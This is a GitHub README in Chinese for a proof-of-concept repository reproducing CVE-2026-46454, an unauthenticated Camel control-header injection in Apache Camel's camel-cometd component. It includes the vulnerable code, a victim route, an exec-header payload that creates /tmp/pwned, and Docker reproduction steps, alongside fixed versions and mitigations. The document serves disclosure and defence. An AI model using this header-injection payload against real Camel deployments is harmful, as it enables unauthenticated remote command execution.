oscerd/CVE-2026-46454

GitHub: oscerd/CVE-2026-46454

该项目复现了 Apache Camel camel-cometd 组件的未授权消息头注入漏洞(CVE-2026-46454),演示了攻击者如何通过注入 Camel 控制标头操纵下游生产者并实现远程代码执行。

Stars: 0 | Forks: 0

# camel-cometd 入站 Bayeux Header 注入复现代码 (CVE-2026-46454) 本项目演示了 Apache Camel 的 `camel-cometd` 组件中的一处**消息头注入**漏洞,编号为 **CVE-2026-46454**。该组件在将入站 Bayeux (CometD) 消息头映射到 Camel Exchange 时**没有使用 `HeaderFilterStrategy`**。`CometdBinding.createCamelMessage` 会将 CometD 客户端提供的整个 `ext.CamelHeaders` 映射 直接复制到 Camel 消息中(`message.setHeaders(...)`),因此任何标头名称——包括 Camel 内部控制标头,如 `CamelHttpUri`、`CamelFileName`、`CamelJmsDestinationName`(或者像本例中的 `camel-exec` 控制标头)——都会被原封不动地接受。由于 `CometdComponent` 默认**不安装任何 Bayeux `SecurityPolicy`**,任何能够完成 Bayeux 握手的客户端都可以在**无需身份验证**的情况下发布此类消息, 并操纵路由中下游的生产者。 安全公告: ## 漏洞概述 | 属性 | 值 | |----------|-------| | **组件** | `camel-cometd` | | **受影响类** | `org.apache.camel.component.cometd.CometdBinding#createCamelMessage` (`message.setHeaders(...)`) | | **CWE** | CWE-20: 输入验证不恰当 | | **影响** | 未经身份验证地注入 Camel 控制标头 → 操纵下游生产者(此例中为通过 exec 实现 RCE) | | **受影响版本** | 从 4.0.0 到 4.14.8 之前,从 4.15.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前 | | **修复版本** | 4.14.8, 4.18.3, 4.21.0 | | **JIRA** | CAMEL-23507 | | **报告者** | Yu Bao (PayPal) | ## 技术细节 ``` // CometdBinding.createCamelMessage(...) - affected 4.18.2 Message message = new DefaultMessage(camelContext); message.setBody(data); Map headers = getHeadersFromMessage(cometdMessage); // reads client-supplied ext.CamelHeaders if (headers != null) { message.setHeaders(headers); // <-- no HeaderFilterStrategy } ``` 客户端可以控制 `ext.CamelHeaders`,因此它可以设置 Exchange 上的任何 Camel 控制标头。 修复方案(4.14.8 / 4.18.3 / 4.21.0)实现了一个 `HeaderFilterStrategy`(代码中存在已久的 TODO), 该策略在入站映射时以不区分大小写的方式过滤 `Camel*` / `camel*` 命名空间。 ## 受害者路由 ``` from("cometd://0.0.0.0:8088/service/inject") .to("exec:echo?args=hello"); // route author only intends to run: echo hello ``` 攻击者向 `/service/inject` 发布消息,并带有 `ext.CamelHeaders = { CamelExecCommandExecutable: "/usr/bin/touch", CamelExecCommandArgs: "/tmp/pwned" }`;绑定层会将它们映射到 Exchange 上, exec 生产者从而运行了攻击者的命令。 ## 仓库布局 独立运行:camel-cometd 消费者在应用内部运行一个嵌入式 Bayeux 服务器(端口 8088), 而 `/exploit/attack` 端点则作为未经身份验证的 CometD 客户端。 ``` CVE-2026-46454/ ├── pom.xml # camel-cometd + camel-exec 4.18.2; cometd 9.0.0 client; Jetty pinned to 12.1.6 ├── Dockerfile ├── docker-compose.yml ├── README.md └── src/main/ ├── java/com/example/ │ ├── Application.java │ ├── VictimRoute.java # from("cometd://.../service/inject").to("exec:echo") │ └── ExploitController.java # attacker BayeuxClient: handshake + publish with ext.CamelHeaders └── resources/ └── application.properties ``` ## 前置条件 - Java 17+ 和 Maven 3.8+ - Docker(用于运行复现程序) ## 复现步骤 ### 步骤 1:构建并启动容器 ``` mvn clean package -DskipTests docker compose up -d --build ``` ### 步骤 2:触发标头注入(RCE) ``` curl -s http://localhost:8080/exploit/attack # -> 已握手(未认证)并使用 ext.CamelHeaders = {...} 发布到 /service/inject。 # camel-cometd consumer 将它们映射到 Exchange 上;exec producer 运行了该命令。 # # >>> RCE 证明 — /tmp/pwned 存在:true ``` ### 步骤 3:验证 ``` docker exec cve-2026-46454 ls -la /tmp/pwned ``` ### 清理 ``` docker compose down ``` ## 攻击向量 任何使用 camel-cometd 消费者并向行为由 Camel 标头控制的下游生产者提供数据的路由——例如 HTTP 生产者 (`CamelHttpUri`)、文件生产者 (`CamelFileName`)、JMS 生产者 (`CamelJmsDestinationName`)、exec 生产者 (`CamelExecCommand*`) 等。任何能够对 Bayeux 端点进行握手的客户端都可以注入这些标头;默认情况下无需身份验证。注入的标头在跨越内部 `direct`、`seda` 和 `vm` 跳转时也会保留。 ## 利用条件 1. 在受影响版本上有一个 camel-cometd 消费者,并且路由到了一个受标头控制的生产者。 2. `CometdComponent` 上没有 Bayeux `SecurityPolicy`(默认情况),因此任何客户端都可以发布消息。 ## 推荐修复方案 升级至 **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23507),这些版本为 cometd 绑定添加了 `HeaderFilterStrategy`, 在入站映射时阻止客户端提供的 `Camel*` / `camel*` 标头。 ## 缓解措施 在升级之前: 1. 在路由开始时剥离 Camel 控制标头: `.removeHeaders("Camel*")` 和 `.removeHeaders("camel*")`。 2. 在 `CometdComponent` 上显式安装 Bayeux `SecurityPolicy`,以便只有经过身份验证的客户端才能 发布。 ## 免责声明 此复现代码仅用于**安全研究和授权测试**,针对的是一个**已公开披露并已修复**的 漏洞。未经明确许可,请勿将其用于任何系统。
标签:Apache Camel, CometD, CVE-2026-46454, JS文件枚举, 域名枚举, 消息头注入, 漏洞复现, 版权保护, 请求拦截